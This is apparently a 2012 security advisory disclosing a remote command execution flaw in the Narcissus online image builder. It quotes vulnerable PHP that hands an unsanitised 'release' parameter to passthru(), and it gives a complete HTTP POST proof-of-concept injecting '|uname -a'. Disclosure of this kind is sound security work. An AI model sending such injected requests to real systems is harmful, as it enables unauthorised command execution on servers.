  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ posdub[at]gmail.com ]
   [ 2012-11-13                              ]
 ##########################################################
 #  [ Narcissus ] Remote Command Execution Vulnerability  #
 ##########################################################
 #
 # Script: "Narcissus - Online image builder for the angstrom distribution"
 #
 # Vendor:   http://www.angstrom-distribution.org/
 # Download: https://github.com/Angstrom-distribution/narcissus
 #
 # Vendor was informed some time ago, but did not respond yet.
 #
 ##########################################################
 #
 # [ Remote Command Execution ]
 #
 # File: /narcissus/backend.php ( lines: 10-183 ):
 # ..cut..
 # if (isset($_POST["action"]) && $_POST["action"] != "") {
 #  $action = $_POST["action"];                              // 1
 # } else {
 #  print "Invalid action: $action";
 #  exit;
 # }
 # 
 # if (isset($_POST["machine"])) {
 #  $machine = escapeshellcmd(basename($_POST["machine"]));  // 2
 # } else {
 #  print "Invalid machine";
 #  exit;
 # }
 # ..cut..
 # if (isset($_POST["release"]) && $_POST["release"] != "") {
 #  $release = $_POST["release"];                            // 3
 # } else {
 #  $release = "stable";
 # }
 # ..cut..
 # switch($action) {
 # ..cut..
 #  case "configure_image":                                  // 4
 #     print "configuring\n";
 #     configure_image($machine, $name, $release);           // 5
 #     break;
 # ..cut..
 # function configure_image($machine, $name, $release) {
 #  print "Machine: $machine, name: $name\n";
 #  passthru ("scripts/configure-image.sh $machine $name-image $release && exit");  // 6 [RCE]
 # }
 # ..cut..
 #
 # Vuln:
 # http://localhost/narcissus/backend.php
 # 
 # POST /narcissus/backend.php HTTP/1.1
 # Host: localhost
 # User-Agent: Mozilla/5.0 Gecko/20100101 Firefox/16.0
 # Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 # Accept-Language: pl,en-us;q=0.7,en;q=0.3
 # Accept-Encoding: gzip, deflate
 # Connection: keep-alive
 # Content-Type: application/x-www-form-urlencoded
 # Content-Length: 50
 # machine=0&action=configure_image&release=|uname -a
 #
 ### [ dun / 2012 ] #######################################